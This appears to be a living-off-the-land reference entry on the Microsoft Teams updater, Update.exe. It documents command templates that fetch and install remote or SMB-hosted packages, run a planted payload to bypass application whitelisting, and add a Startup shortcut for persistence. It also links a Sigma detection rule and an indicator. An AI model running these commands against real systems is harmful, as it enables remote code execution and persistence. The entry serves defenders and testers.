Update.exe
Full path
C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exeCommands
Download binary
Update.exe --download {REMOTEURL}The above binary will go to url and look for RELEASES file and download the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --update={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --update={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --update={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --update={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --updateRollback={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --updateRollback={REMOTEURL}The above binary will go to url and look for RELEASES file, download and install the nuget package.
os: Windows 7 and up with Microsoft Teams installed
Application Whitelisting Bypass
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current. Then run the command. Update.exe will execute the file you copied.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --updateRollback={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Download and execute binary
Update.exe --updateRollback={PATH_SMB:folder}The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
os: Windows 7 and up with Microsoft Teams installed
Execute binary
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current. Then run the command. Update.exe will execute the file you copied.
os: Windows 7 and up with Microsoft Teams installed
Execute binary
Update.exe --createShortcut={PATH:.exe} -l=StartupCopy your payload into “%localappdata%\Microsoft\Teams\current". Then run the command. Update.exe will create a shortcut to the specified executable in “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup”. Then payload will run on every login of the user who runs it.
os: Windows 7 and up with Microsoft Teams installed
Execute binary
Update.exe --removeShortcut={PATH:.exe}-l=StartupRun the command to remove the shortcut created in the “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup” directory you created with the LolBinExecution “–createShortcut” described on this page.
os: Windows 7 and up with Microsoft Teams installed
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml
- IOCUpdate.exe spawned an unknown process
Code samples
Resources
- https://www.youtube.com/watch?v=rOP3hnkj7ls
- https://twitter.com/reegun21/status/1144182772623269889
- https://twitter.com/MrUn1k0d3r/status/1143928885211537408
- https://twitter.com/reegun21/status/1291005287034281990
- http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
- https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
acknowledgement: Reegun Richard Jayapaul (SpiderLabs, Trustwave) @reegun21, Mr.Un1k0d3r @MrUn1k0d3r, Adam @Hexacorn, Jesus Galvez